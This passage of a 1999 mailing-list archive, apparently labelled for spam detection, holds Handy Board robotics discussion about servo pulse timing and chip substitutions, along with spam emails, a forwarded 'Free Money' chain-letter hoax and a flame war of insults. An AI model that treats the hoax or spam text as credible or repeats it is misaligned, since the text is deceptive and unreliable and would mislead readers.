(SSC) to digital port 9 > >(HB), 9v (HB) power to 9V(SSC), 6V (Battery) to (SSC-servo supply), > >configure SSC to 9600 baud rate (port B of SSC), load pa7i9600.icb (from HB > >serial.html; Inverted TTL-level version), connect servo to servo port 0. > > > >Power on... Until now, I don't know what command shall I type to the c:>. > >>From the SSC manual, it is > ><225>. So, shall I type "" 255,0,30; "" or > >servo(255,0,30); ? I tried all but doesn't work. > > > >Can anyone help me? > > > >Oh, I also loaded servo.icb and servo.c. Is these necessary or it needs > >add. asm files? > > >",0,0 Bernd Klein ,sakar@servidor.unam.mx,"Wed, 12 May 1999 09:07:24 +0200",Re: MC34064,"Hi Daniel, as an attachment, i send you the motorola mc34064.pdf document. Good luck Bye bernd sakar@servidor.unam.mx schrieb: > Can anybody tell me the pins config in the MC34064, because I am using the > MC34064 as a susbtitute of the DS1233. > > Thanks > > Daniel > > --------------------------------------------------------------------- > "" `BETTER´ IS THE ENEMY OF `GOOD ENOUGH´"" > --------------------------------------------------------------------- ",0,0 Philippe GUERMEUR ,handyboard@media.mit.edu,"Wed, 12 May 1999 09:37:42 +0200",Re: DS1233,"I used the Motorola 34064 instead of the Dallas 1233 since one year. Functionaly, It seems to work fine. Nevertheless, the chip seems warm. Recently, 2 68hc11 died on my board, apparently without any reason. I wonder if this is due to the current sink of the 34064. Has anybody already met this kind of problem ? >Daniel, > >You can use the Motorola 34064, I used it in both of the Handyboards I build. >***WARNING*** the Motorola 34064 and the Dallas Semiconductor DS1233-10 have >different pins out. They are both in 3 pin to-92 packages. I don't remember >which two pins need to be swapped (check the two data sheets). I put a small >peice of tubing over one of the pins so they did not touch each other. > >It was really hard to find this problem after I build the boards without >swapping the pins :-). > >sakar@servidor.unam.mx wrote: >> >> Does anybody know the motorola susbtitute for the (Dallas Semiconductor) >> DS1233-10, because in Mexico the DS1233-10 does not exists. And I can´t find >> it on the electronics books. >> >> Thanks for the help >> >> Daniel >> Philippe Guermeur guermeur@ensta.fr ",0,0 Jeff Loeliger ,sakar@servidor.unam.mx,"Wed, 12 May 1999 08:55:46 +0100",Re: MC34064,"Daniel, Okay, I dug up my old email: > This is a warning for anyone considering using the Motorola MC34064 to replace > the DS1233. I have just built a couple handyboards and I had some problems > getting them working. I finally tracked the problem done to the LVI. I used the > MC34064 instead of the DS1233 because I had some laying around. WARNING the pin > out on the two is not the same: > > Pin DS1233 MC34064 > 1 GND *RESET > 2 *RESET +5 > 3 +5 GND > > The MC34064 can be used but it must be rotated 120 degrees so that the signals > will be correct. sakar@servidor.unam.mx wrote: > > Can anybody tell me the pins config in the MC34064, because I am using the > MC34064 as a susbtitute of the DS1233. > > Thanks > > Daniel > > --------------------------------------------------------------------- > "" `BETTER´ IS THE ENEMY OF `GOOD ENOUGH´"" > --------------------------------------------------------------------- -- Jeff __________________________________________________________________ \\ Jeff Loeliger Motorola SPS \\ \\ mailto:r12110@email.sps.mot.com Systems Engineering Department\\ \\ phone: +44-1355-35-5400 Powertrain Systems Division \\ \\ fax : +44-1355-35-6300 East Kilbride, Scotland \\ \\ Motorola Internal: http://ncsg-euroweb.sps.mot.com/~r12110 \\ \\_________________________________________________________________\\ ",0,1 Jason Chaney ,handyboard@media.mit.edu,"Wed, 12 May 1999 03:57:33 -0540",re: wi11 C1INT0N update EDDIE,"Hot Voip sector. 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Or where is my mistake (I thought that result must contain minimal and maximal values of f over the intervals) Thanks for help ",0,0 Leila ,faith@aleve.media.mit.edu,"Tue, 11 May 1999 19:04:30 -0500","You are pre approved, ticket# 2913."," Smart Cathy is displaying is manifesting Solely cute tender 1a$ses auction http://69sitesonline.info > henyltriazen orjh chcicjckd even though rtement 8675293 > none iekg freude delegations off wwvs > artu to trone everyone chfest ",1,1 Fred G Martin ,handyboard@media.mit.edu,"Wed, 12 May 1999 06:58:12 -0400",HOW TO UNSUBSCRIBE,"greetings all, the time has arisen for the periodic unsubscribe reminder. 1. to unsubscribe from the Handy Board mailing list, send a request to Fred Martin, fredm@media.mit.edu. 2. Word has it that the one person who can actually take you OFF the Handy Board mailing list the same person who put you on. That person is Fred Martin, fredm@media.mit.edu. 3. Writing to the whole entire list with an unsubscribe request is rude and annoying. Did you know that there is this guy, the guy who runs the list, that can take you off? He is Fred Martin, fredm@media.mit.edu. This message brought to you courtesy of Fred Martin, fredm@media.mit.edu. Fred ",0,0 Colin Barnard ,handyboard@media.mit.edu,"Wed, 12 May 1999 13:13:49 +0100","Re: zxt614,rue250","Hello Eduardo I have some ZTX614 devices, let me know your address and I will send you a couple. I also have some spare handy board pcb's if anyone in Europe is interested. Colin Eduardo Gonzalez wrote: > Hi! im building the handy board interface with a friend. Both of us live > in mexico city and we have not found some parts like the ztx614 > transistor darlington arrangement, we would like to know which is the > gain of each transistor in this arrangement to buil it. > Do you know some substitute for the RUE250 poliswitch or some way to > build one? > > Thanks a lot for your help. > > Atte.Eduardo Gonzalez Ramirez -- Colin Barnard cgb@dcs.qmw.ac.uk Department of Computer Science Queen Mary & Westfield College University of London Mile End Road London E1 4NS Tel: +44 (0)171 975 5234 Fax: +44 (0)181 980 6533 ",0,0 Thomas Hauri ,"""Mailing List, Handyboard"" ","Wed, 12 May 1999 14:26:28 +0200",Attachement,"Please do NOT send attachements to the mailgroup. Please send them directly to the person it belongs....... Thanks Tom -- Thomas Hauri ZHW Zuercher Hochschule Winterthur University of applied sciences Technikumstr.9 /PF CH-8401 Winterthur Switzerland Phone : +41 52 267 74 79 Fax : +41 52 268 74 79 Mail : Thomas.Hauri@zhwin.ch HP : http://www.zhwin.ch ",0,1 Fred G Martin ,,"Wed, 12 May 1999 08:48:15 -0400",Re: MC34064,"please don't send attachments to the mailing list. a 200 K message sent out to 500 people is 100 megs of data. also some people have small mailbox quotas that can be filled up by just one big attachment. i realize 200K isn't huge, but it's still a bit of a problem, especially if it became a regular practice. if you have something you'd like to share, the best way is to put it up on a web site and send around the url. if you don't have a web server you can readily use, contact me and often i'm willing to host a useful bit of info on the HB site. thanks for your attention. fred >Dies ist eine mehrteilige Nachricht im MIME-Format. >--------------3F920B67C073828F52E663F1 >Content-Type: text/plain; charset=iso-8859-1 >Content-Transfer-Encoding: 8bit > >Hi Daniel, > >as an attachment, i send you the motorola mc34064.pdf document. > >Good luck > > >Bye bernd > > > >sakar@servidor.unam.mx schrieb: > >> Can anybody tell me the pins config in the MC34064, because I am using the >> MC34064 as a susbtitute of the DS1233. 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Ian gilfoyle wrote: > hi ian, > > pony computer is getting our order ready and had some > questions about partitioning of the two 18-gbyte disks on > each node. > > they proposed the following > > sda: > > swap = 256MB > / = 500MB > /usr = 3000mb > /var = the rest > > sdb: > > /data = 18GB > > this looks reasonable to us, but we were wondering if it's useful > for machines in a cluster to have a /usr/local partition and/or > a /home partition? how are the machines at jlab set up? > > thanks-in-advance, > > jerry > > -- > Dr. Gerard P. Gilfoyle > Physics Department e-mail: ggilfoyl@richmond.edu > University of Richmond, VA 23173 phone: 804-289-8255 > USA fax: 804-289-8482 ",0,0 """Bernier, Joseph G (OSEC)"" ",handyboard@media.mit.edu,"Wed, 12 May 1999 15:18:18 -0400",Unsubscribe,"Please unsubscribe me from the handy board mailing list. Joe ",0,0 Nathan Plemmons ,handyboard@media.mit.edu,"Wed, 12 May 1999 11:47:11 -0500",Whats Hot Today?,"it virginal it patriarchal on darken be utica but batt ",1,0 Joey Sims ,'gilfoyle' ,"Wed, 12 May 1999 16:13:09 -0400",RE: Linux systems,"that's how she'll be then. Thank you for the input. Have a good day! > -----Original Message----- > From: gilfoyle [SMTP:ggilfoyl@richmond.edu] > Sent: Wednesday, May 12, 1999 12:01 PM > To: Joey Sims > Subject: Re: Linux systems > > hi joey, > > i just heard from ian bird at jlab. the partition you > described in your previous message looks fine. > > jerry > > -- > Dr. Gerard P. Gilfoyle > Physics Department e-mail: ggilfoyl@richmond.edu > University of Richmond, VA 23173 phone: 804-289-8255 > USA fax: 804-289-8482 ",0,0 Eat Bugs! ,Handyboard list ,"Wed, 12 May 1999 15:59:40 -0400","Re: Unsubscribe (Geez, again?)","""Bernier, Joseph G (OSEC)"" wrote: > > Please unsubscribe me from the handy board mailing list. > > Joe My apologies to those smart enough to know better... Fred Martin must have mailed that unsubscribe reminder to me only. I remember seeing it just a day ago, but since there are so many people burning up bandwidth by sending requests to the list, he must have only sent it to me. Fred, I am personally volunteering my services as professional jerk. If you hire me (my fee is a modest nothing per hour), I will privately berate every individual who sends unsubscribe requests to this list. Please people, I'm assuming that you are at least a little bit intelligent (you're at least *interested* in electronics). Don't annoy the entire list with your stupidity and/or laziness. There are many of us here who care about things like bandwidth. READ THE INSTRUCTIONS!! -- ________________________________________ Jonathan Pennington -Anthropologist/Geologist -Linux User and Advocate -Bug Eater on an '83 V45 Magna ""Dark Side"" and a '71 Triumph Bonnie ""Pieces"" Email at jwp(at)awod.com ""Where are we going? And why are we in this handbasket? ",0,0 Joey Sims ,'gilfoyle' ,"Wed, 12 May 1999 16:45:23 -0400",RE: Linux systems,"it's not too late. > -----Original Message----- > From: gilfoyle [SMTP:ggilfoyl@richmond.edu] > Sent: Wednesday, May 12, 1999 12:44 PM > To: Joey Sims > Subject: Re: Linux systems > > hi joey, > > we have pondered the partition and if it's not too > late we would prefer the following partition. > > on sda: > > / - 1 gigabyte > > /usr - 2 gigabyte > > /usr/local - 2 gigabyte > > /home - the rest > > on sdb: > > /data - all of it > > thanks, > > jerry > > -- > Dr. Gerard P. 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So I called Novak, and they gave me ""Super Rooster's"" limits as following: 0.85 milliseconds - Maximum Reverse. 1.35 milliseconds - ""Neutral"". 1.85 milliseconds - Maximum Forward. So far so good...but... 2) According to the ""Dual Servo Routine"" for the HB (http://el.www.media.mit.edu/groups/el/projects/handy-board/software/servo.html ) we have the following: a) Value Range: 400-4800 units... b) Time Range: 0.2-2.4 milliseconds... c) Default: 2560... d) 1 Unit = 0.5 microseconds... e) 3040 units = 1.52 milliseconds pulse length, ""...which is just in the middle of a typical servo's range..."". So, if 2a-2e are true, why wasn't the default set to be 3040 (instead of 2560), which is supposed to be the middle of the servo's range ? What was the purpose of setting the default above the middle of the range? And, is there a way to change the default value ? Also, if the middle of the range *on this routine* is really 3040 (1.52milliseconds)...; Will 3040 units, be the middle of the range for the expbd servo routine too? I could not find the ""middle of the range"" (in units) for the expbd servo routines... :( 3) According to the Expansion Board servo documentation (http://el.www.media.mit.edu/groups/el/projects/handy-board/hbexp30/software.ht ml), we have the following: a) Value Range: 0-3000 b) Default: 2540 So, if the range in this routine is 0-3000 units, why is the default 2540 ? Why isn't it 1500 units ? How many milliseconds 2540 units correspond to ? Are there any practical reason on why we would want to set the defaults so much ""higher"" (longer) than the middle of the servo's range ? Why wasn't the middle of the the range in units mapped to the middle of the range in milliseconds ? How many *microseconds* do each unit correspond to, on the expbd servo control routines ? Is there a linear relationship between the unit range and the pulse length range ? The reason I'm asking all that, is so I can properly program the ESC, hopefully making my car go a little slower (now is going tooooo fast...:)... And since I don't have an O-Scope to measure the pulses coming out of the HB, I had to ask all the above... :) Thank you in advance, Best Regards, Andre Philippi. ================================================================= Andre Philippi - Applications Developer | Phone: 626-296-5016 philippi@corp.earthlink.net | Fax: 626-296-5113 Earthlink Network, Inc. | 3100 New York Drive http://www.earthlink.net | Pasadena, CA 91107 ================================================================= ",0,1 wrl@anti-social.com,"ilist@acpub.duke.edu, are100b@ucdavis.edu, me39e@me.berkeley.edu, sipa-u4320-3@cuvmc.ais.columbia.edu, beai-list@IHCA.NET, qsr.div.informs@umich.edu, soc310001.list@umich.edu, ArtistsWay@onelist.com, econ-w2261-2@cuvmc.ais.columbia.edu, econ-w3211-1@cuvmc.ais.columbia.edu, sloanabc@mit.edu, ws-102@lists.students.wisc.edu, kindertones@thekindertones.com, play99@media.mit.edu, buas@bu-ast.bu.edu, friend@vispro.eng.sun.com, lyris@listserv.weber.k12.ut.us, nsb97@phy.ucsf.edu, mass@lrc.hum.utah.edu, team5@ssic.saff.utah.edu, racquetball@cco.caltech.edu, james_crowd@email.unc.edu, nshl@otd.com, E-OnTheBall@bsu.edu","Fri, 14 May 1999 01:09:12 +0000",Fwd: Fwd: FW: Free Money !!!!!!!!!,"Forwarded Message Follows: From: x y To: clj@anti-social.com, wrl@anti-social.com Date: Thu, 13 May 1999 18:05:52 -0700 (PDT) Subject: Fwd: Fwd: FW: Free Money !!!!!!!!! ----- > --0-1804289383-926643952=:22895 > Content-Type: text/plain; charset=us-ascii > Content-Disposition: inline > > > > Note: forwarded message attached. > > _________________________________________________________ > Do You Yahoo!? > Free instant messaging and more at http://messenger.yahoo.com > --0-1804289383-926643952=:22895 > Content-Type: message/rfc822 > > X-Apparently-To: yangxb@yahoo.com via mdd103.yahoomail.com > Received: from f15.hotmail.com (HELO hotmail.com) (207.82.250.26) > by mta113.yahoomail.com with SMTP; 11 May 1999 14:08:35 -0700 > Received: (qmail 18743 invoked by uid 0); 11 May 1999 21:08:13 -0000 > Message-ID: <19990511210813.18742.qmail@hotmail.com> > Received: from 206.28.121.73 by wy1lg.hotmail.com with HTTP; > Tue, 11 May 1999 14:08:12 PDT > X-Originating-IP: [206.28.121.73] > From: ""xiaoying wang"" > To: yangxb@yahoo.com > Subject: Fwd: FW: Free Money !!!!!!!!! > Date: Tue, 11 May 1999 14:08:12 PDT > Mime-Version: 1.0 > Content-type: text/plain; format=flowed; > Content-Length: 4151 > > > > >From: ""SEN, SUPARNA"" > >To: bangell@sidney.amphenol-aerospace.com, monica1960@aol.com, > >xiaoyingw@hotmail.com, ssuneja@neuron.uchc.edu, jedezhath@worldbank.org, > >mrasen@aol.com > >Subject: FW: Free Money !!!!!!!!! > >Date: Tue, 11 May 1999 15:20:00 -0700 > > > > > > > > > > ---------- > >From: GLYNN, JOHN > >Sent: Tuesday, May 11, 1999 3:12 PM > >To: ALL > >Subject: FW: Free Money !!!!!!!!! > > > > > > > > ---------- > >From: Maryann Preston[SMTP:MPreston@mail.mcgregor.com] > >Sent: Tuesday, May 11, 1999 11:18 AM > >To: JOHN GLYNN; 'Abby'; '14 N.T.'; 'Bubba'; 'Dad'; 'Dave Longo (BMS)'; > >'Dan Russo'; 'Gaylie'; 'Iraida & Lubu'; 'Lisa Jacobsen'; 'Lizzard'; > >'Maryanne Scully'; 'Michael & Joanne'; 'Sandy Rice (HiMark)'; 'Sara > >(HiMark)'; 'Sherry Longo' > >Subject: Free Money !!!!!!!!! > > > >From: Maryann Preston > >Date: Tue, May 11, 1999 11:18 AM > >Subject: Free Money !!!!!!!!! > >To: '14 N.T.'; 'Abby'; 'Bubba'; 'Dad'; 'Dan Russo'; 'Dave Longo (BMS)'; > >'Gaylie'; 'Iraida & Lubu'; 'Lisa Jacobsen'; 'Lizzard'; 'Maryanne Scully'; > >'Michael & Joanne'; 'Sandy Rice (HiMark)'; 'Sara (HiMark)'; 'Sherry > >Longo'; > >GLYNN, JOHN > >These are always hoaxes....but in the off chance that money grows on > >trees and leprechauns exist................. > > > > > >Subject: FREE $$$ > > > > > > > > > > > >Hi this is pretty cool! > > > >Netscape and AOL have recently > > > >merged to form the largest internet > > > >company in the world. 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Visit http://www.msn.com > > --0-1804289383-926643952=:22895-- > --------------------------------------------------------------------------- Get your free Anti-Social.com email at http://Anti-Social.com ---------------------------------------------------------------------------",0,1 Nick Taylor ,handyboard@media.mit.edu,"Thu, 13 May 1999 20:01:52 -0700",Re: Servo Control Documentation Clarification...,"Andre: You're right about the HandyBoard & expansion board documentation not being correct in its servo entries. I don't recall what values I found to work properly on the bare HB, but on the expansion board the default of 2540 comes close to centering the dozen or so servos that I've tried. The +/- 90 degree points are typically 1040 and 4040. Since I don't have a 'scope either I don't know what the actual pulse widths are ... but these same servos have typical ranges of 1050-1950 us when used with a PIC. Hope this helps, - - - Nick - - - Andre Philippi wrote: > > Hi, > > While I was trying to produce .85, 1.35, and 1.85 millisecond pulses with the > Handy Board (with *and* without the expbd.), to control Team Novak's > (http://www.teamnovak.com/products/esc/super_r/super_ro.htm) ""Super Rooster"" > Electronic Speed Controller (ESC), I found the following discrepancies > regarding servo control documentation: > > 1) First, in regards to servo control, according to > http://turbine.kuee.kyoto-u.ac.jp/staff/onat/servobasics.html, ""The ON time of > the pulse indicates the angle to turn to; 1ms = 0 degrees, 2ms=max > degrees(about 120) and anything in between gives a proportional output angle. > 1.5ms is generally considered to be the ""center"". The 1~2ms limit is > manufacturers' recommendations; you can usually use a wider range around 1.5ms > for grater throw."" > > So I called Novak, and they gave me ""Super Rooster's"" limits as following: > > 0.85 milliseconds - Maximum Reverse. > 1.35 milliseconds - ""Neutral"". > 1.85 milliseconds - Maximum Forward. > > So far so good...but... > > 2) According to the ""Dual Servo Routine"" for the HB > (http://el.www.media.mit.edu/groups/el/projects/handy-board/software/servo.html > ) we have the following: > > a) Value Range: 400-4800 units... > > b) Time Range: 0.2-2.4 milliseconds... > > c) Default: 2560... > > d) 1 Unit = 0.5 microseconds... > > e) 3040 units = 1.52 milliseconds pulse length, ""...which is just in the > middle of a typical servo's range..."". > > So, if 2a-2e are true, why wasn't the default set to be 3040 (instead of > 2560), which is supposed to be the middle of the servo's range ? What was the > purpose of setting the default above the middle of the range? And, is there a > way to change the default value ? > > Also, if the middle of the range *on this routine* is really 3040 > (1.52milliseconds)...; Will 3040 units, be the middle of the range for the > expbd servo routine too? I could not find the ""middle of the range"" (in units) > for the expbd servo routines... :( > > 3) According to the Expansion Board servo documentation > (http://el.www.media.mit.edu/groups/el/projects/handy-board/hbexp30/software.ht > ml), we have the following: > > a) Value Range: 0-3000 > > b) Default: 2540 > > So, if the range in this routine is 0-3000 units, why is the default 2540 ? > Why isn't it 1500 units ? How many milliseconds 2540 units correspond to ? Are > there any practical reason on why we would want to set the defaults so much > ""higher"" (longer) than the middle of the servo's range ? Why wasn't the middle > of the the range in units mapped to the middle of the range in milliseconds ? > > How many *microseconds* do each unit correspond to, on the expbd servo control > routines ? > > Is there a linear relationship between the unit range and the pulse length > range ? > > The reason I'm asking all that, is so I can properly program the ESC, > hopefully making my car go a little slower (now is going tooooo fast...:)... > And since I don't have an O-Scope to measure the pulses coming out of the HB, > I had to ask all the above... :) > > Thank you in advance, > > Best Regards, > > Andre Philippi. > > ================================================================= > Andre Philippi - Applications Developer | Phone: 626-296-5016 > philippi@corp.earthlink.net | Fax: 626-296-5113 > Earthlink Network, Inc. | 3100 New York Drive > http://www.earthlink.net | Pasadena, CA 91107 > ================================================================= ",0,1 Steve Kramer ,wrl@anti-social.com,"Thu, 13 May 1999 23:03:27 -0400",Re: Fwd: Fwd: FW: Free Money !!!!!!!!!,"...I'm afraid it's not. There is no such thing as ""email tracking"" or ""email tracing"", despite several emails I've recently received to the contrary. Please take a look at the following: http://urbanlegends.miningco.com/library/weekly/mcurrent.htm?pid=2733&cob=home http://ciac.llnl.gov/ciac/CIACHoaxes.html http://ciac.llnl.gov/ciac/CIACChainLetters.html In fact, http://ciac.llnl.gov/ is an excellent resource in general for information about viruses, chain letters, warnings, and the like, and what you should do about them. Their warnings are from computer professionals and verifiable directly or through means of encryption keys, such as PGP. http://urbanlegends.miningco.com/ is less technical, but still an accurate, verifiable clearinghouse of information. In general, if there is no way to verify a warning or request that you receive, it should not be forwarded or heeded. Thank you, and have a good day. [btw, this is the second copy of this note I've mailed out today, and this is the second email I've received from wrl@anti-social.com (through a mailing list of which sie is not a member) in the past two days; the first was an unsolicited advertisement. Will the person at that address please not send us anything further unless it is on-topic for the list. Thanks.] -- Steve Kramer -=- scooter (at) otd dot com -=- http://www.otd.com/~scooter/ _____________________ =================================================== | __/^\\__ ,-^,| Windows 95, n. 32 bit extensions and a graphical |/~ \\_ { / | shell for a 16 bit patch to an 8 bit operating system \\/\\ |! | originally coded for a 4 bit microprocessor, / / ) |___ written by a 2 bit company (_ \\ \\ / that can't stand one bit of competition. ~v^ ?_,-' ",0,1 Carl Nelson ,Steve Kramer ,"Thu, 13 May 1999 23:42:15 -0400",Re: Fwd: Fwd: FW: Free Money !!!!!!!!!,"who is this dude who claims to have some sort of knowledge about mass emails??? i think he is a moran. love, cj On Thu, 13 May 1999, Steve Kramer wrote: > ...I'm afraid it's not. There is no such thing as ""email tracking"" or > ""email tracing"", despite several emails I've recently received to the > contrary. Please take a look at the following: > > http://urbanlegends.miningco.com/library/weekly/mcurrent.htm?pid=2733&cob=home > http://ciac.llnl.gov/ciac/CIACHoaxes.html > http://ciac.llnl.gov/ciac/CIACChainLetters.html > > In fact, http://ciac.llnl.gov/ is an excellent resource in general for > information about viruses, chain letters, warnings, and the like, and what > you should do about them. Their warnings are from computer professionals > and verifiable directly or through means of encryption keys, such as PGP. > http://urbanlegends.miningco.com/ is less technical, but still an > accurate, verifiable clearinghouse of information. > > In general, if there is no way to verify a warning or request that you > receive, it should not be forwarded or heeded. > > Thank you, and have a good day. > > [btw, this is the second copy of this note I've mailed out today, and this > is the second email I've received from wrl@anti-social.com (through a > mailing list of which sie is not a member) in the past two days; the first > was an unsolicited advertisement. Will the person at that address please > not send us anything further unless it is on-topic for the list. Thanks.] > > -- > Steve Kramer -=- scooter (at) otd dot com -=- http://www.otd.com/~scooter/ > _____________________ =================================================== > | __/^\\__ ,-^,| Windows 95, n. 32 bit extensions and a graphical > |/~ \\_ { / | shell for a 16 bit patch to an 8 bit operating system > \\/\\ |! | originally coded for a 4 bit microprocessor, > / / ) |___ written by a 2 bit company > (_ \\ \\ / that can't stand one bit of competition. > ~v^ ?_,-' > > > > ",0,1 Dean Engemoen ,Carl Nelson ,"Thu, 13 May 1999 21:16:59 -0700",Re: Fwd: Fwd: FW: Free Money !!!!!!!!!,"Carl Nelson wrote: > > who is this dude who claims to have some sort of knowledge about mass > emails??? i think he is a moran. > love, cj Perhaps before call someone a moron you should learn how to spell it, you insignificant waste of skin..... ",0,0 Chris Kilroy ,Dean Engemoen ,"Fri, 14 May 1999 00:22:35 -0400",Re: Fwd: Fwd: FW: Free Money !!!!!!!!!,"bummer, he beat me to the joke. Dean Engemoen wrote: > Carl Nelson wrote: > > > > who is this dude who claims to have some sort of knowledge about mass > > emails??? i think he is a moran. > > love, cj > > Perhaps before call someone a moron you should learn how to spell it, > you insignificant waste of skin..... ",0,0 Chris Kilroy ,Carl Nelson ,"Fri, 14 May 1999 00:20:51 -0400",Re: Fwd: Fwd: FW: Free Money !!!!!!!!!,"don't you mean 'moron' smart guy? Carl Nelson wrote: > who is this dude who claims to have some sort of knowledge about mass > emails??? i think he is a moran. > love, cj > > On Thu, 13 May 1999, Steve Kramer wrote: > > > ...I'm afraid it's not. There is no such thing as ""email tracking"" or > > ""email tracing"", despite several emails I've recently received to the > > contrary. Please take a look at the following: > > > > http://urbanlegends.miningco.com/library/weekly/mcurrent.htm?pid=2733&cob=home > > http://ciac.llnl.gov/ciac/CIACHoaxes.html > > http://ciac.llnl.gov/ciac/CIACChainLetters.html > > > > In fact, http://ciac.llnl.gov/ is an excellent resource in general for > > information about viruses, chain letters, warnings, and the like, and what > > you should do about them. Their warnings are from computer professionals > > and verifiable directly or through means of encryption keys, such as PGP. > > http://urbanlegends.miningco.com/ is less technical, but still an > > accurate, verifiable clearinghouse of information. > > > > In general, if there is no way to verify a warning or request that you > > receive, it should not be forwarded or heeded. > > > > Thank you, and have a good day. > > > > [btw, this is the second copy of this note I've mailed out today, and this > > is the second email I've received from wrl@anti-social.com (through a > > mailing list of which sie is not a member) in the past two days; the first > > was an unsolicited advertisement. Will the person at that address please > > not send us anything further unless it is on-topic for the list. Thanks.] > > > > -- > > Steve Kramer -=- scooter (at) otd dot com -=- http://www.otd.com/~scooter/ > > _____________________ =================================================== > > | __/^\\__ ,-^,| Windows 95, n. 32 bit extensions and a graphical > > |/~ \\_ { / | shell for a 16 bit patch to an 8 bit operating system > > \\/\\ |! | originally coded for a 4 bit microprocessor, > > / / ) |___ written by a 2 bit company > > (_ \\ \\ / that can't stand one bit of competition. > > ~v^ ?_,-' > > > > > > > > ",0,1 """Barry A. Muise"" ","Dean Engemoen , Carl Nelson ","Fri, 14 May 1999 00:23:13 -0400",Re: Fwd: Fwd: FW: Free Money !!!!!!!!!,"Guys, I don't think the entire BU astronomical society appreciates getting your drivel. Please takes us (buas@bu-ast.bu.edu) off whatever stupid list you're using. Thanks. ",0,0 Francesca Simon ,Chris Kilroy ,"Fri, 14 May 1999 01:23:20 -0400",Re: Fwd: Fwd: FW: Free Money !!!!!!!!!,"I don't know how I got on this list but please remove me thank you. --Francesca Simon cheka@bu.edu ",0,0 Cyril Blackwell ,play99@aleve.media.mit.edu,"Thu, 13 May 1999 21:43:02 -0500",�λ����� ���� ���鶧 ������ �ǵ帮�ڽ��ϴ�.,"corinth jure purify bowfin broadway marc norman youngster arrogate propelled entomology defraud sorensen hibbard blaspheme soundproof year creep committeemen busy negligee moran integument ",1,0 Eustace Nall ,handyboard@media.mit.edu,"Thu, 13 May 1999 23:07:24 -0700",Re: your VtfAGRA,"Hi A C V V L X P m I A I e a r b A L A v n o i L I G i a z e I U R t x a n S M A ra c http://www.cationslate.com creatures should get it, and poor old Bombur, and Balin and Fili and Kili and all the rest come to a bad end; and Bard too, and the Lake-men and the merry elves. Misery me! I have heard songs of many battles, and I have always understood that defeat may be glorious. It seems very uncomfortable, not to say distressing. I wish I was well out of it. The clouds were torn by the wind, and a red sunset slashed the West. ",1,1 azuddin ,"Dean Engemoen , Carl Nelson ","Fri, 14 May 1999 14:40:34 +0800",RE: Fwd: Fwd: FW: Free Money !!!!!!!!!,"Guys, Include me in the the exclusion list as well. Thanks -----Original Message----- From: Barry A. Muise [SMTP:toadbam@bu.edu] Sent: Friday, May 14, 1999 12:23 To: Dean Engemoen; Carl Nelson Cc: Steve Kramer; wrl@anti-social.com; ilist@acpub.duke.edu; are100b@ucdavis.edu; me39e@me.berkeley.edu; sipa-u4320-3@cuvmc.ais.columbia.edu; beai-list@IHCA.NET; qsr.div.informs@umich.edu; soc310001.list@umich.edu; ArtistsWay@onelist.com; econ-w2261-2@cuvmc.ais.columbia.edu; econ-w3211-1@cuvmc.ais.columbia.edu; sloanabc@mit.edu; ws-102@lists.students.wisc.edu; kindertones@thekindertones.com; play99@media.mit.edu; friend@vispro.eng.sun.com; lyris@listserv.weber.k12.ut.us; nsb97@phy.ucsf.edu; mass@lrc.hum.utah.edu; team5@ssic.saff.utah.edu; racquetball@cco.caltech.edu; james_crowd@email.unc.edu; nshl@otd.com; E-OnTheBall@bsu.edu Subject: Re: Fwd: Fwd: FW: Free Money !!!!!!!!! Guys, I don't think the entire BU astronomical society appreciates getting your drivel. Please takes us (buas@bu-ast.bu.edu) off whatever stupid list you're using. Thanks. ",0,0 """Timothy E. Holy"" ","Dean Engemoen , Carl Nelson ","Fri, 14 May 1999 10:38:38 -0400",Remove from list,"Please remove nsb97@phy.ucsf.EDU from your mailing list. If any of the individual members on the list want your email, you can add them individually. Thanks. ",0,0 """Geoffrey Okogbaa (IE)"" ",Dean Engemoen ,"Fri, 14 May 1999 11:28:26 -0400",Re: Remove from list," Please remove me from your list. Thanks ",0,0 Eduardo Gonzalez ,handyboard@media.mit.edu,"Fri, 14 May 1999 10:17:04 -0500",IS1U60,"Hi, im building the handy board and i wonder if you know some substitute for the IS1U60 infrared demodulator. Thanks a lot for you help. Sincerely yours Eduardo Gonzalez Ramirez ",0,0 Wei_Chen@haygroup.com,"Dean Engemoen , Carl Nelson , Steve Kramer , wrl@anti-social.com, ilist@acpub.duke.edu, are100b@ucdavis.edu, me39e@me.berkeley.edu, sipa-u4320-3@cuvmc.ais.columbia.edu, beai-list@ihca.net, qsr.div.informs@umich.edu, soc310001.list@umich.edu, ArtistsWay@onelist.com, econ-w2261-2@cuvmc.ais.columbia.edu, econ-w3211-1@cuvmc.ais.columbia.edu, sloanabc@mit.edu, ws-102@lists.students.wisc.edu, kindertones@thekindertones.com, play99@media.mit.edu, friend@vispro.Eng.Sun.COM, lyris@listserv.weber.k12.ut.us, nsb97@phy.ucsf.edu, mass@lrc.hum.utah.edu, team5@ssic.saff.utah.edu, racquetball@cco.caltech.edu, james_crowd@email.unc.edu, nshl@otd.com, E-OnTheBall@bsu.edu","Fri, 14 May 1999 11:59:43 -0400",remove me from your list," Please remove me from your list. ",0,0 """Mark E. McNeil"" ",Sonali Lathia ,"Fri, 14 May 1999 12:24:37 -0400",Re: remove me from your list,"Would all of you morons please stop hitting ""reply to all"" so everyone on the list stops getting this? God people, learn how to use your email please. If you want to be removed send it to the original address that sent it and stop sending the rest of us email we don't need! Sonali Lathia wrote: > > Please remove smlathia@ucdavis.edu from your list!!! > > > > On Fri, 14 May 1999 Wei_Chen@haygroup.com > wrote: > > > > > > > Please remove me from your list. > > > > ",0,0 Sankaran Thayumanavan ,Wei_Chen@haygroup.com,"Fri, 14 May 1999 09:15:50 -0700",Re: remove me from your list," Please remove me from your list for crap-mails. > ",0,0 Sonali Lathia ,Wei_Chen@haygroup.com,"Fri, 14 May 1999 09:13:29 -0700",Re: remove me from your list," Please remove smlathia@ucdavis.edu from your list!!! On Fri, 14 May 1999 Wei_Chen@haygroup.com wrote: > > > Please remove me from your list. > > ",0,0 """R.A. Gaunt"" ",handyboard@media.mit.edu,"Fri, 14 May 1999 10:07:42 -0700",Miniature Stepper Motors,"This is more of a general question about the size and resolution of stepper motors and linear actuators. Basically, I was wondering if anyone has any experience with very small high resolution actuators. I am trying to find out if stepper motors on the order of 10 mm in diameter with angular resolutions of milliradians exist. No gear trains would be perferable as any backlash is a big problem. What is the smallest angular resolution that people have seen? I am also looking for very tiny linear actuators with about 5cm of travel and micron level positioning. Cost is not really a factor. Thanks very much for your help. Robert Gaunt ",0,0 Junxian Weng ,"""Geoffrey Okogbaa (IE)"" , Dean Engemoen , Carl Nelson , Steve Kramer , wrl@anti-social.com, 